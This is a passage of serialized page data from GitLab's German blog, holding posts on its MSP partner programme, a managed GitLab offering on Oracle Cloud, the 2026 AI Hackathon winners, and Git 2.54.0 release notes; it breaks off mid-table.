Grundlage.\n\n**Go-to-Market-Unterstützung**: MSPs erhalten ein GitLab Certified MSP Partner-Badge, co-brandingfähige Assets, die Möglichkeit zur Teilnahme an gemeinsamen Kundenfallstudien, einen Eintrag im Partner Locator sowie Zugang zu Marketing Development Funds (MDF) für qualifizierte Demand-Generation-Aktivitäten.\n\n## Was Kunden erwarten können\n\nKunden, die mit einem GitLab MSP-Partner arbeiten, erhalten eine strukturierte, verwaltete DevSecOps-Erfahrung, dokumentierte und reproduzierbare Implementierungsmethoden, regelmäßige Business Reviews sowie Support mit klar definierten Reaktions- und Eskalationspfaden.\n\nDas Ergebnis: Entwicklungsteams können sich auf die Softwareentwicklung konzentrieren, während der MSP-Partner den Betrieb und die Optimierung der Plattform verantwortet.\n\n## Neue Möglichkeiten rund um KI\n\nUnternehmen suchen zunehmend nach Wegen, KI strukturiert in ihre Softwareentwicklungs-Workflows einzuführen. GitLab MSP-Partner sind gut positioniert, um Kunden im Rahmen eines umfassenderen Managed Services-Angebots durch die GitLab Duo Agent Platform zu begleiten.\n\nDurch die Kombination der GitLab DevSecOps-Plattform mit der operativen Expertise von MSPs können Kunden KI-gestützte Workflows in einer kontrollierten Umgebung erproben, Anforderungen an Datenhaltung und Compliance erfüllen und die KI-Nutzung teamübergreifend skalieren.\n\n## Passt dieses Programm zum eigenen Geschäftsmodell?\n\nDas GitLab MSP Partner-Programm ist gut geeignet, wenn:\n\n* bereits Managed Services in den Bereichen Cloud, Infrastruktur oder Application Operations angeboten werden\n* DevSecOps als hochwertiger Portfoliobaustein hinzugefügt werden soll\n* technisches Know-how für moderne Entwicklungsplattformen vorhanden ist oder aufgebaut werden soll\n* langfristige Kundenbeziehungen gegenüber Einzeltransaktionen bevorzugt werden\n\nFür bestehende GitLab Select- und Professional Services-Partner bietet das MSP-Programm einen strukturierten Weg, vorhandene Expertise in ein reproduzierbares Managed-Services-Angebot zu überführen.\n\n## Erste Schritte\n\nDas Programm startet mit der Bezeichnung **Certified MSP Partner**. Es gibt keine Mindest-ARR- oder Kundenanzahl-Anforderungen für den Beitritt. So sieht der Weg aus:\n\n1. **Eignung prüfen** – Überprüfen, ob die geschäftlichen und technischen Anforderungen auf der [Handbook-Seite](https://handbook.gitlab.com/handbook/resellers/channel-program-guide/#the-gitlab-managed-service-provider-msp-partner-program) erfüllt sind.\n2. **Über das GitLab Partner Portal bewerben** – Bewerbung mit geschäftlicher und technischer Dokumentation einreichen.\n3. **90-tägiges Onboarding absolvieren** – Ein strukturierter Onboarding-Prozess umfasst Verträge, technisches Enablement, Vertriebstraining und das erste Kundenprojekt.\n4. **Managed-Services-Angebot aufbauen** – Services paketieren, SLAs festlegen und erste Kunden gewinnen.\n\nVollständige Bewerbungen werden innerhalb von etwa drei Werktagen geprüft.\n\n> Interesse am Aufbau einer GitLab Managed Services-Praxis? Neue Partner können sich [als GitLab Partner bewerben](https://about.gitlab.com/de-de/partners/). Bestehende Partner wenden sich an ihren GitLab-Ansprechpartner, um mehr über das Programm zu erfahren.\n",[548,761,259],{"featured":687,"template":836,"slug":1089},"introducing-the-gitlab-managed-service-provider-msp-partner-program",{"content":1091,"config":1102},{"title":1092,"authors":1093,"date":1097,"body":1098,"category":761,"tags":1099,"description":1100,"heroImage":1101},"DevSecOps-as-a-Service auf Oracle Cloud Infrastructure – mit Data Intensity",[1094,1095,1083,1096],"Biju Thomas","Matt Genelin","Ryan Palmaro","2026-02-11","Viele Unternehmen entscheiden sich für GitLab Self-Managed, weil es Kontrolle, Anpassungsmöglichkeiten und Sicherheit bietet. Gleichzeitig kann die Verwaltung der zugrunde liegenden Infrastruktur eine erhebliche betriebliche Herausforderung darstellen – insbesondere für Teams, die sich auf die Softwareentwicklung konzentrieren möchten, nicht auf den Plattformbetrieb.\n\nAus diesem Grund arbeitet GitLab mit [Oracle Cloud Infrastructure (OCI)](https://www.oracle.com/cloud/) und [Data Intensity](https://www.dataintensity.com/services/security-services/devsecops/), einem Oracle Managed Services Provider, zusammen, um eine neue Managed-Service-Option anzubieten: DevSecOps-as-a-Service. Der Dienst verbindet die Kontrolle von GitLab Self-Managed mit dem Betriebskomfort eines vollständig verwalteten Service.\n\n\n## Warum GitLab Self-Managed?\n\nGitLab Self-Managed bietet die vollständige Kontrolle über die eigene DevSecOps-Plattform. Datenstandort, Instanzkonfiguration und Anpassungen an spezifische Compliance-, Sicherheits- oder Betriebsanforderungen lassen sich frei bestimmen. Dieses Maß an Kontrolle ist für Unternehmen mit strengen regulatorischen Anforderungen, Anforderungen an die Datenresidenz oder spezifischen Integrationsanforderungen relevant.\n\nGleichzeitig bedeutet der Betrieb von GitLab Self-Managed die Verwaltung von Servern, die Durchführung von Upgrades, die Sicherstellung der Hochverfügbarkeit und die Implementierung von Disaster Recovery – alles Aufgaben, die spezialisiertes Know-how und dedizierte Ressourcen erfordern.\n\n\n## Ein verwalteter Weg zu GitLab Self-Managed\n\nDevSecOps-as-a-Service von Data Intensity auf OCI übernimmt diese betrieblichen Aufgaben, während die Kontrollvorteile von GitLab Self-Managed erhalten bleiben. Anstatt die Infrastruktur selbst aufzubauen und zu warten, steht eine eigenständige GitLab-Instanz bereit, die vom Data-Intensity-Team verwaltet wird und auf der Cloud-Infrastruktur von OCI läuft.\n\nDer Service umfasst:\n\n* Eigenständige GitLab-Instanz auf OCI-Infrastruktur\n* 24/7-Monitoring, Alarmierung und Support\n* Vierteljährliches Patching in festgelegten Wartungsfenstern\n* Automatisierte Backups und Disaster-Recovery-Schutz\n\n\n## Skalierung mit dem Unternehmen\n\nDer Managed Service von Data Intensity bietet abgestufte Architekturen, die sich an Benutzerkapazität und Recovery-Anforderungen anpassen lassen:\n\n| **Feature**           | **Standard**     | **Premier**      | **Premier +**    |\n|-----------------------|------------------|------------------|------------------|\n| **Benutzerkapazität** | Bis zu 1.000     | Bis zu 2.000     | Bis zu 3.000     |\n| **Performance**       | 20 Requests/Sek. | 40 Requests/Sek. | 60 Requests/Sek. |\n| **Verfügbarkeit**     | 99,9 %           | 99,95 %          | 99,99 %          |\n| **Recovery (RTO)**    | 48 Stunden       | 8 Stunden        | 4 Stunden        |\n\nWeitere Informationen sind auf der Website von Data Intensity verfügbar: [DevSecOps-as-a-Service](https://www.dataintensity.com/services/security-services/devsecops/).\n\n\n## Warum OCI für GitLab?\n\nOracle Cloud Infrastructure (OCI) bietet eine stabile Grundlage für den Betrieb von GitLab Self-Managed – mit einer sicheren, leistungsfähigen Umgebung zu geringeren Kosten als bei anderen Hyperscalern. Unternehmen, die Workloads zu OCI migrieren, berichten von Infrastrukturkostensenkungen von 40–50 %.\n\nOCI unterstützt verschiedene Deployment-Modelle: von öffentlichen Cloud-Regionen über spezialisierte Umgebungen wie Government und EU Sovereign Clouds bis hin zu dedizierter Infrastruktur hinter der eigenen Firewall. Diese Optionen bieten einheitliches Pricing, Tooling und Betriebserfahrung, sodass sich GitLab-Deployments über regulierte, hybride und globale Umgebungen hinweg standardisieren lassen.\n\nDie Kombination aus GitLabs DevSecOps-Plattform, OCI-Infrastruktur und dem Managed-Services-Know-how von Data Intensity ergibt eine Lösung, die es Teams ermöglicht, sich auf die Softwareentwicklung zu konzentrieren.\n\n\n## Passt dieser Service?\n\nDevSecOps-as-a-Service von Data Intensity eignet sich für Unternehmen, die:\n\n* GitLab Self-Managed nutzen, aber den Betriebsaufwand minimieren möchten\n* Spezifische Compliance-, Sicherheits- oder Datenresidenz-Anforderungen erfüllen müssen\n* Garantierte SLAs und professionelle Disaster-Recovery-Fähigkeiten benötigen\n* Planbare Kosten und professionelles Management gegenüber dem Aufbau interner Infrastrukturexpertise bevorzugen\n* OCI bereits nutzen oder den Einsatz planen\n* Flexibilität und Kontrolle priorisieren\n* Eine dedizierte, extern verwaltete Instanz mit Self-Managed-Kontrolle wünschen\n\n\n## Erste Schritte\n\nUnternehmen, die GitLab Self-Managed auf OCI über DevSecOps-as-a-Service von Data Intensity betreiben möchten, können über die [Data-Intensity-Website](https://www.dataintensity.com/services/security-services/devsecops/) Kontakt aufnehmen, um spezifische Anforderungen zu besprechen und die Deployment-Planung zu starten.\n\nData Intensity bietet optional auch die Migration von Code-Repositorys und Anpassungen an, um einen reibungslosen Übergang zu OCI sicherzustellen.\n\nGitLab baut das Partnerökosystem weiter aus. Lösungen wie diese unterstreichen das Ziel, Unternehmen die Wahl zu geben, wie sie GitLab einsetzen und verwalten – ob als SaaS, Self-Managed oder Managed Service über Partner.\n",[259,863],"Self-Managed-Kontrolle ohne eigenen Betrieb. Inklusive 24/7-Monitoring, Patching und Disaster Recovery.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098794/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%289%29_DoeBNJVrhv9FpF3WCsHNc_1750098793762.png",{"featured":13,"template":836,"slug":1103},"devsecops-as-a-service-on-oracle-cloud-infrastructure-by-data-intensity",{"category":772,"slug":774,"posts":1105},[1106,1118,1130],{"content":1107,"config":1116},{"title":1108,"description":1109,"authors":1110,"heroImage":1112,"date":1113,"body":1114,"category":774,"tags":1115},"GitLab AI Hackathon 2026: Hier sind die Gewinner und ihre Projekte","Fast 7.000 Entwickler(innen) haben über 600 KI-Agenten und Flows auf GitLab Duo Agent Platform gebaut. Erfahre, wer gewonnen hat und was sie entwickelt haben.",[1111],"Nick Veenhof","https://res.cloudinary.com/about-gitlab-com/image/upload/v1776457632/llddiylsgwuze0u1rjks.png","2026-04-22","KI schreibt Code. Das wird inzwischen erwartet. Aber Planung, Security,\nCompliance und Deployments? Diese Lücken bleiben. Ich leite\nContributor-Programme seit Jahren. Ich habe noch nie erlebt, dass eine\nCommunity so auf eine Technologie reagiert.\n\nDeshalb haben wir [GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo-agent-platform/)\ngeöffnet und Entwickler(innen) weltweit eingeladen, KI-Agenten zu bauen, die Teams\ndabei helfen, sichere Software schneller zu liefern. Keine Chatbots, die\nFragen beantworten – sondern Agenten, die in Workflows einspringen, auf\nEreignisse reagieren und in deinem Auftrag handeln. Der GitLab AI Hackathon\nlief vom 9. Februar bis zum 25. März 2026 auf Devpost. Google Cloud und\nAnthropic waren Co-Sponsoren.\n\nAls mein Team diesen Hackathon mit Google Cloud und Anthropic plante, bat\nich die Juroren, vier Dinge zu bewerten: technische Umsetzung, Design,\npotenzielle Wirkung und Ideenqualität. Wir hatten auf starke Beteiligung\ngehofft. Was wir bekamen, hat uns alle überrascht. Neunzehn Juroren\nverbrachten 18 Tage damit, jeden Beitrag zu prüfen. Google Cloud und\nAnthropic stellten Juroren, Preise und Cloud-Zugang bereit. Die Community\nbaute Hunderte von Agenten und Flows – weil sie diese Probleme lösen wollten.\n\nFast 7.000 Entwickler(innen) nahmen teil. Sie bauten in wenigen Wochen über 600\nAgenten und Flows. Die Preise über alle Kategorien summierten sich auf\n65.000 US-Dollar – bereitgestellt von GitLab, Google Cloud und Anthropic.\n\nWer schon einmal erlebt hat, wie ein erfahrener Engineer das Unternehmen\nverlässt und die Hälfte des Team-Wissens mitnimmt, weiß, warum das\nGewinnerprojekt so eingeschlagen hat.\n\nLies weiter und erfahre, was die Community gebaut hat.\n\n\n## Gesamtsieger: LORE\n\n[LORE](https://devpost.com/software/lore-living-organizational-record-engine),\ndie Living Organizational Record Engine, nutzt acht Agenten mit einem Router,\nder jede Frage an den richtigen Agenten weiterleitet, Logik zur Vermeidung\nzirkulärer Schleifen im Wissensgraphen, ein visuelles Dashboard und\nCarbon-Tracking. Das Kommandozeilen-Werkzeug kommt mit 43 Tests – ja, 43\nTests in einem Hackathon-Projekt.\n\nLORE löst ein reales Problem: das Wissen, das in den Köpfen von Engineers\nlebt und mit ihnen geht, wenn sie das Unternehmen verlassen. In meiner\nErfahrung ist ein Hackathon-Projekt mit 43 Tests eine Seltenheit. So viele\nTests in einem Hackathon-Projekt sagen etwas über das Team dahinter aus.\n\nJurorin April Guo (Anthropic) schrieb: „Das fühlt sich wie ein Produkt an,\nnicht wie ein Hackathon-Projekt.\"\n\n\n### Google Cloud-Gewinner\n\n[Gitdefender](https://devpost.com/software/gitdefender) gewann den Google\nCloud Grand Prize. Es arbeitet innerhalb von Code-Review-Workflows, findet\nund behebt Sicherheitsprobleme. Es erkennt den Fehler, schreibt den Fix und\nöffnet den Code-Review. Kein Mensch muss eingreifen.\n\n[Aegis](https://devpost.com/software/aegis-2m1oq0) gewann den Google Cloud\nRunner Up. Es liefert KI-gestützte Erklärungen für jede Entscheidung, die\nes trifft – auf Google Cloud gehostet und bereit für den Produktionseinsatz.\n\n\n### Anthropic-Gewinner\n\n[GraphDev](https://devpost.com/software/graphdev) gewann den Anthropic Grand\nPrize. Es kartiert Code-Verbindungen und zeigt, wie sich Systeme im Laufe\nder Zeit verändern. Juror Aboobacker MK (GitLab) merkte an, es sei „synchron\nmit unserer Arbeit am GitLab Knowledge Graph.\" Juror Ayush Billore (GitLab)\nschrieb: „Demo und UX haben mich begeistert – extrem nützlich, um zu\nverstehen, wie das System sich entwickelt hat und was von Änderungen\nbetroffen ist.\" Man sieht die vollständige Auswirkung einer Änderung, bevor\nman sie vornimmt.\n\n[DocSync](https://devpost.com/software/pipeheal) gewann den Anthropic Runner\nUp. Es nutzt drei Agenten: Detector, Writer und Reviewer. Ist DocSync vom\nFix überzeugt, öffnet es einen Code-Review. Ist es das nicht, erstellt es\nein Issue für eine manuelle Prüfung.\n\n\n## Kategorie-Gewinner\n\n### Technisch beeindruckendste Lösung\n\nDatenbank-Migrationen brechen Dinge.\n[Time-Traveler](https://devpost.com/software/time-traveler-w3cxp0) erstellt\neine sichere Kopie des Produktions-Setups, führt die Migration gegen diese\nKopie durch und meldet das Ergebnis. Es betreibt fünf Agenten, die über eine\nBridge verbunden sind – mit echtem Google Cloud-Deployment, echten\nPostgreSQL-Migrationen und echten Daten.\n\n### Wirkungsvollste Lösung\n\n[RedAgent](https://devpost.com/software/redagent) prüft KI-generierte\nSecurity-Reports und schließt die Vertrauenslücke zwischen KI-Findings und\nEntwickleraktion. Wer KI für Security Scanning einsetzt, kennt dieses\nProblem. Ich habe Teams erlebt, die KI-Findings ignorierten, weil sie sie\nnicht verifizieren konnten. RedAgent gibt Teams eine Möglichkeit, KI-Output\nzu prüfen, bevor er Entwickler(innen) erreicht.\n\n### Einfachste Bedienung\n\n[Launch Control](https://devpost.com/software/launch-control-bgp8az) liefert\nausgefeilte UX und solide Infrastruktur – und schnitt auch beim Thema\nNachhaltigkeit gut ab.\n\n\n## Das Nachhaltigkeitssignal\n\nFünf Projekte gewannen Preise oder Boni für ökologische Wirkung.\nSoftware-Auslieferung hat einen Carbon-Fußabdruck durch CI/CD-Pipelines –\nund nun verarbeiten auch LLMs Rechenleistung im großen Maßstab. Wir haben\ndie Green Agent-Kategorie ins Leben gerufen, um Entwickler(innen) herauszufordern,\ndiesen Fußabdruck zu messen und zu reduzieren. Stacy Cline und Kim Buncle\naus GitLabs Nachhaltigkeitsteam halfen bei der Beurteilung der\nGreen Agent-Kategorie.\n\n### Green Agent-Preis\n\n[GreenPipe](https://devpost.com/software/greenpipe) scannt CI/CD-Pipelines\nauf Umweltwirkung und erstellt Carbon-Footprint-Berichte. Juroren Kim Buncle\nund Rajesh Agadi (Google) unterstützten das Projekt.\n\n### Sustainable Design-Bonus\n\nSustainable Design-Boni wurden an Projekte vergeben, die außergewöhnliche\nNachhaltigkeitspraktiken in ihrem Design zeigten – von\nModell-Optimierungstechniken bis hin zu energieeffizienten\nArchitekturentscheidungen.\n\n* [BugFlow](https://devpost.com/software/bugflow-ai-regression-detective-ci-optimizer)\n  verwandelte einen Bug-Report in 10 Fixes in 20 Minuten.\n* [DELTA Cyber Reasoning](https://devpost.com/software/delta-cyber-reasoning-system)\n  ist automatisiertes Fuzz-Testing für Security.\n* [CarbonLint](https://devpost.com/software/carbonlint) wandte Code-Analyse\n  auf den Energieverbrauch an.\n* [TFGuardian](https://devpost.com/software/tfguardian) enthält unter anderem\n  einen Carbon-Footprint-Analyser.\n\nHerzlichen Glückwunsch an alle Gewinner des Sustainable Design-Bonus!\n\nJuror Jens-Joris Decorte (TechWolf) zitierte das Ergebnis: Die Kosten sanken\nvon 556 auf 18 US-Dollar pro Monat – ein Carbon-Rückgang von 96 % (das sind\n538 US-Dollar monatliche Einsparung mit einem Nachhaltigkeitslabel).\n\n\n## Sechs Projekte wurden lobend erwähnt\n\nSechs Projekte erhielten Ehrenmeldungen:\n\n- [SecurityMonkey](https://devpost.com/software/securitymonkey) injiziert\n  bekannte Schwachstellen in einen Test-Branch und bewertet, wie gut die\n  Security-Scanner sie erkennen.\n- [stregent](https://devpost.com/software/stregent) überwacht CI/CD-Pipelines\n  und lässt Entwickler(innen) Fixes aus WhatsApp heraus untersuchen und mergen –\n  ohne einen Laptop zu öffnen.\n- [Compliance Sentinel](https://devpost.com/software/compliance-sentinel-autonomous-devsecops-governance)\n  bewertet jeden Merge Request auf Compliance-Risiko und blockiert den Merge\n  bei kritischen Verstößen.\n- [Carbon Tracker](https://devpost.com/software/carbon-tracker-ij25kf)\n  berechnet den Carbon-Fußabdruck jedes CI/CD-Pipeline-Jobs und veröffentlicht\n  Optimierungstipps im Merge Request.\n- [RepoWarden](https://devpost.com/software/docuguard) ist die erste Living\n  Specification Engine – ein KI-System, das festhält, warum Code geschrieben\n  wurde, nicht nur was er tut.\n- [MR Compliance Auditor](https://devpost.com/software/mr-compliance-auditor)\n  sammelt Nachweise über Merge Requests, ordnet sie SOC-2-Kontrollen zu und\n  streamt Compliance-Scores auf ein Live-Dashboard.\n\nMein liebstes Zitat aus dem Judging stammte von Luca Chun Lun Lit (Anthropic),\nder stregents Mobile-First-Ansatz beschrieb: „Im Wesentlichen vom Handy aus\nprogrammieren zu können ist das nächste Level in der Engineering-Erfahrung.\"\n\n> Entdecke die über 600 Einreichungen in der\n> [Projektgalerie](https://gitlab.devpost.com/project-gallery).\n\n\n## Was als Nächstes kommt\n\nJeder Agent in diesem Hackathon arbeitete innerhalb eines einzelnen Projekts.\nDie Ergebnisse waren trotzdem beeindruckend. Einige Teilnehmer betrieben einen\nlokalen Wissensgraphen parallel zu ihren Agenten, um Code-Beziehungen und\nAbhängigkeiten im Repo sichtbar zu machen. LORE erfasst Projekthistorie.\nGitdefender findet Schwachstellen. Agenten mit reichhaltigerem lokalem Kontext\nzu kombinieren hilft Contributors bereits heute, schärfere Werkzeuge zu bauen.\nDer nächste Hackathon baut darauf auf. Melde dich auf\n[contributors.gitlab.com](https://contributors.gitlab.com/) an, um als Erster\nzu erfahren, wann Details bekannt gegeben werden.\n\n\n## Loslegen\n\nEin besonderer Dank gilt Lee Tickett (GitLab) und Mattias Michaux (GitLab)\nfür die Orchestrierung der Orchestratoren und Innovatoren hinter diesem\nHackathon!\n\nDanke an alle, die ein Projekt eingereicht haben. Fast 7.000 von euch haben\ngezeigt, was GitLab Duo Agent Platform kann, wenn eine Community beschließt\nzu bauen. Ich bin stolz auf das, was ihr hier gebaut habt – und ich kann es\nkaum erwarten zu sehen, was ihr als Nächstes baut.\n\nBaue deinen eigenen Agenten auf\n[GitLab Duo Agent Platform](https://docs.gitlab.com/user/duo_agent_platform/).\nEntdecke Community-gebaute Agenten im\n[AI Catalog](https://docs.gitlab.com/user/duo_agent_platform/ai_catalog/).\nDu orchestrierst. KI beschleunigt.\n",[846,244],{"featured":687,"template":836,"slug":1117},"gitlab-ai-hackathon-2026-meet-the-winners",{"content":1119,"config":1128},{"title":1120,"description":1121,"authors":1122,"heroImage":1124,"date":877,"category":774,"tags":1125,"body":1127},"Was ist neu in Git 2.54.0?","Erfahre mehr über die Beiträge zu diesem Release, darunter neue Repository-Wartung, ein neuer Befehl zur Bearbeitung der Commit-Historie, ein Ersatz für git-sizer(1) und mehr.",[1123],"Patrick Steinhardt","https://res.cloudinary.com/about-gitlab-com/image/upload/v1776711651/sj7xxyyuimlarswbyft5.png",[1126,1052,244],"open source","Das Git-Projekt hat kürzlich [Git 2.54.0](https://lore.kernel.org/git/xmqqa4uxsjrs.fsf@gitster.g/T/#u) veröffentlicht. Werfen wir einen Blick auf einige bemerkenswerte Highlights dieses Releases, das Beiträge des Git-Teams bei GitLab enthält.\n\n\n## Pluggable Object Databases\n\n\nGit bietet bereits die Möglichkeit, Referenzen entweder mit dem \"files\"-Backend oder dem [\"reftable\"-Backend](https://about.gitlab.com/de-de/blog/a-beginners-guide-to-the-git-reftable-format/) zu speichern. Dies wird durch geeignete Abstraktionen in Git ermöglicht, die verschiedene Backends zulassen.\n\n\nReferenzen sind aber nur einer der beiden wichtigen Datentypen, die in Repositories gespeichert werden – der andere sind Objekte. Objekte werden in der Object Database gespeichert, und jede Object Database wiederum besteht aus mehreren Objektquellen, aus denen Objekte gelesen oder in die geschrieben werden kann. Jede Objektquelle speichert einzelne Objekte entweder als sogenannte \"Loose\"-Objekte oder komprimiert mehrere Objekte in ein \"Packfile\" im Verzeichnis `.git/objects`.\n\n\nBisher hatten diese Quellen jedoch keine echte Abstraktionsschicht, sodass das Speicherformat für Objekte komplett in Git fest verdrahtet war. Das ändert sich nun endlich mit Pluggable Object Databases! Das Konzept ist unkompliziert und ähnlich wie bei Referenzen: Statt fest verdrahteter Codepfade für die Objektspeicherung wird eine Abstraktionsschicht eingeführt, die verschiedene Backends für die Objektspeicherung ermöglicht.\n\n\nObwohl die Idee einfach ist, ist die Umsetzung komplex, da es überall in Git fest verdrahtete Annahmen über die verwendeten Speicherformate gibt. Die Arbeit an diesem Thema begann bereits mit Git 2.48, das im Januar 2025 veröffentlicht wurde. Der anfängliche Fokus lag darauf, objektbezogene Subsysteme eigenständig zu machen und geeignete Subsysteme für die bestehenden Backends in Git zu erstellen.\n\n\nMit Git 2.54 wurde nun ein Meilenstein erreicht: Das Object-Database-Backend ist jetzt pluggable. Noch wird nicht die gesamte Funktionalität von Git abgedeckt, aber die Einführung eines alternativen Backends, das eine sinnvolle Teilmenge der Operationen verarbeitet, ist jetzt ein realistisches Unterfangen.\n\n\nDerzeit funktionieren nur lokale Workflows wie das Erstellen von Commits, das Anzeigen von Commit-Graphen oder das Durchführen von Merges mit einer solchen alternativen Implementierung. Ausgenommen ist insbesondere alles, was mit einem Remote interagiert, zum Beispiel beim Fetchen oder Pushen von Änderungen. Dennoch ist dies das Ergebnis von fast zwei Jahren Arbeit über fast 400 Commits, die Upstream gemergt wurden, und die Arbeit daran wird natürlich fortgesetzt.\n\n\nWarum ist das relevant? Die Idee ist, dass es praktikabel wird, neue Speicherformate in Git einzuführen. Beispiele könnten sein:\n\n- Ein Speicherformat, das große Binärdateien effizienter speichern kann als es Packfiles heute tun\n\n- Ein Speicherformat, das speziell auf GitLab zugeschnitten ist, um Repositories noch effizienter bereitstellen zu können\n\n\nDies ist ein groß angelegtes Vorhaben, das die Zukunft von Git und GitLab maßgeblich prägen dürfte.\n\n\n*Dieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) geleitet.*\n\n\n## Einfachere Bearbeitung der Commit-Historie\n\n\nIn vielen Softwareentwicklungsprojekten ist es gängige Praxis, nicht nur den Code zu verfeinern, sondern auch die Commit-Historie zu bereinigen, damit sie leicht überprüfbar ist. Das Ergebnis ist eine Reihe kleiner, atomarer Commits, die jeweils eine Sache tun, mit einer guten Commit-Nachricht, die die Intention des Commits sowie spezifische Nuancen beschreibt.\n\n\nNatürlich entstehen diese atomaren Commits meist nicht einfach von selbst während des Entwicklungsprozesses. Stattdessen gewinnt die Person, die die Änderungen erstellt, durch Iteration ein besseres Verständnis dafür, und die Art und Weise, die Commits aufzuteilen, wird mit der Zeit klarer. Darüber hinaus kann der anschließende Review-Prozess zu Feedback führen, das Änderungen an den erstellten Commits erfordert.\n\n\nDie Konsequenz dieses Prozesses ist, dass die Commit-Historie im Laufe der Entwicklung viele Male umgeschrieben werden muss. Historisch hat Git dafür [interaktive Rebases](https://git-scm.com/docs/git-rebase#_interactive_mode) vorgesehen. Diese interaktiven Rebases sind ein extrem leistungsfähiges Werkzeug: Sie ermöglichen es, Commits umzuordnen, Commit-Nachrichten umzuschreiben, mehrere Commits zusammenzufassen oder beliebige Bearbeitungen an jedem Commit vorzunehmen.\n\n\nAllerdings sind sie auch etwas kryptisch und schwer zu verstehen. Man muss den Basis-Commit für den Rebase bestimmen, verstehen, wie ein etwas obskures \"Instruction Sheet\" zu bearbeiten ist, und sich mit dem zustandsbehafteten Rebase-Prozess auskennen. Zum Beispiel wird beim Rebase eines Topic-Branch ein Instruction Sheet wie das folgende angezeigt:\n\n\n```shell\npick b60623f382 # t: detect errors outside of test cases # empty\npick b80cb55882 # t: prepare `test_match_signal ()` calls for `set -e`\npick 5ffe397f30 # t: prepare `test_must_fail ()` for `set -e`\npick 5e9b0cf5e1 # t: prepare `stop_git_daemon ()` for `set -e`\npick 299561e7a2 # t: prepare `git config --unset` calls for `set -e`\npick ed0e7ca2b5 # t: detect errors outside of test cases\n```\n\n\nInteraktive Rebases sind also zwar leistungsfähig, aber auch ziemlich einschüchternd für durchschnittliche Nutzende.\n\n\nDas muss aber nicht so sein. Tools wie [Jujutsu](https://www.jj-vcs.dev/latest/) bieten Interfaces, die im Vergleich zu Git deutlich einfacher zu benutzen sind – zum Beispiel kann man einfach `jj split` ausführen, um einen Commit in zwei aufzuteilen. Bei Git mit interaktiven Rebases erfordert dieser Anwendungsfall viele verschiedene Schritte mit verwirrenden Befehlszeilenargumenten.\n\n\nInspiriert von Jujutsu wurde daher ein neuer Befehl git-history(1) in Git eingeführt, der die Grundlage für eine bessere Bearbeitung der Historie bildet. Derzeit hat dieser Befehl zwei Unterbefehle:\n\n\n- `git history reword` ermöglicht das einfache Umschreiben einer Commit-Nachricht. Man gibt den Commit an, dessen Nachricht umformuliert werden soll, Git fragt nach der neuen Commit-Nachricht, und das war's.\n\n- `git history split` ermöglicht das Aufteilen eines Commits in zwei, inspiriert von `jj split`. Man gibt einen Commit an, Git fragt, welche Änderungen in welchen Commit aufgenommen werden sollen und nach den beiden Commit-Nachrichten, und dann ist man fertig.\n\n\nDas ist natürlich erst der Anfang, und im Laufe der Zeit sollen weitere Unterbefehle hinzukommen. Zum Beispiel:\n\n\n- `git history fixup` um gestagete Änderungen automatisch in einen bestimmten Commit einzufügen\n\n- `git history drop` um einen Commit zu entfernen\n\n- `git history reorder` um die Reihenfolge von Commits zu ändern\n\n- `git history squash` um eine Reihe von Commits zusammenzufassen\n\n\nAber das ist noch nicht alles! Zusätzlich zur einfachen Bearbeitung der Historie kann dieser neue Befehl auch automatisch alle lokalen Branches rebasen, die den bearbeiteten Commit zuvor enthielten. Das bedeutet, man kann sogar einen Commit bearbeiten, der nicht auf dem aktuellen Branch liegt, und alle Branches, die den Commit enthalten, werden umgeschrieben.\n\n\nEs mag zunächst überraschend erscheinen, dass Git automatisch abhängige Branches rebast, da dies eine deutliche Abweichung von der Funktionsweise von git-rebase(1) darstellt. Dies ist aber Teil eines größeren Vorhabens, um bessere Unterstützung für Stacked Diffs in Git zu bringen – eine Methode, eine Reihe mehrerer abhängiger Branches zu erstellen, die unabhängig voneinander überprüft werden können, aber gemeinsam auf ein größeres Ziel hinarbeiten.\n\n\n*Dieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) mit Unterstützung von [Elijah Newren](https://github.com/newren) geleitet.*\n\n\n## Ein nativer Ersatz für git-sizer(1)\n\n\nDie Größe eines Git-Repositorys ist ein wichtiger Faktor, der bestimmt, wie gut Git und GitLab damit umgehen können. Aber die Größe allein ist nicht der einzige Faktor, da die Performance eines Repositorys letztlich eine Kombination aus mehreren verschiedenen Dimensionen ist:\n\n\n- Die Tiefe der Commit-Historie\n\n- Die Struktur des Verzeichnisbaums\n\n- Die Größe der im Repository gespeicherten Dateien\n\n- Die Anzahl der Referenzen\n\n\nDas sind nur einige der Dimensionen, die berücksichtigt werden müssen, wenn man vorhersagen will, ob Git ein Repository gut verarbeiten kann.\n\n\nObwohl klar ist, dass die reine Repository-Größe nicht ausreicht, bietet Git selbst keine Tools, die einen einfachen Überblick über diese Metriken geben. Stattdessen ist man auf Drittanbieter-Tools wie [git-sizer(1)](https://github.com/github/git-sizer) angewiesen, um diese Lücke zu füllen. Dieses Tool leistet hervorragende Arbeit bei der Darstellung dieser Informationen, ist aber kein Bestandteil von Git und muss daher separat installiert werden.\n\n\nObservability von Repository-Interna ist bei GitLab entscheidend, daher wurde in [Git 2.52 ein neuer `git repo structure`-Befehl eingeführt](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-52-0/#new-subcommand-for-git-repo1-to-display-repository-metrics), um Repository-Metriken anzuzeigen, der in Git 2.53 erweitert wurde, um [inflated und Disk-Sizes für Objekte nach Typ anzuzeigen](https://about.gitlab.com/blog/whats-new-in-git-2-53-0/#more-data-collected-in-git-repo-structure).\n\n\nIn Git 2.54 wird dieser Befehl weiter ausgebaut, sodass nicht nur die Gesamtgröße angezeigt wird, sondern auch die größten Objekte nach Typ:\n\n\n```shell\n$ git clone https://gitlab.com/git-scm/git.git\n$ cd git\n$ git repo structure\nCounting objects: 410445, done.\n| Repository structure      | Value       |\n| ------------------------- | ----------- |\n| * References              |             |\n|   * Count                 |    1.01 k   |\n|     * Branches            |       1     |\n|     * Tags                |    1.00 k   |\n|     * Remotes             |       9     |\n|     * Others              |       0     |\n|                           |             |\n| * Reachable objects       |             |\n|   * Count                 |  410.45 k   |\n|     * Commits             |   83.99 k   |\n|     * Trees               |  164.46 k   |\n|     * Blobs               |  161.00 k   |\n|     * Tags                |    1.00 k   |\n|   * Inflated size         |    7.46 GiB |\n|     * Commits             |   57.53 MiB |\n|     * Trees               |    2.33 GiB |\n|     * Blobs               |    5.07 GiB |\n|     * 